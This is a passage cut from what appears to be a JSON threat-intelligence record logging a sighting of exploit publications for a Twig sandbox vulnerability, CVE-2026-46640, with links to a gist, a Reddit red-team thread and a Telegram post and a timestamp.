(https://gist.github.com/vladko312/39507beaa58eacf3b62e6a6e6cd69128)   [comments] (https://www.reddit.com/r/redteamsec/comments/1tyx0ss/cve202646640_developing_payloads_for_twig_sandbox/)", "url": "https://t.me/hacking_Attack/186840", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-12T22:48:52.515Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}
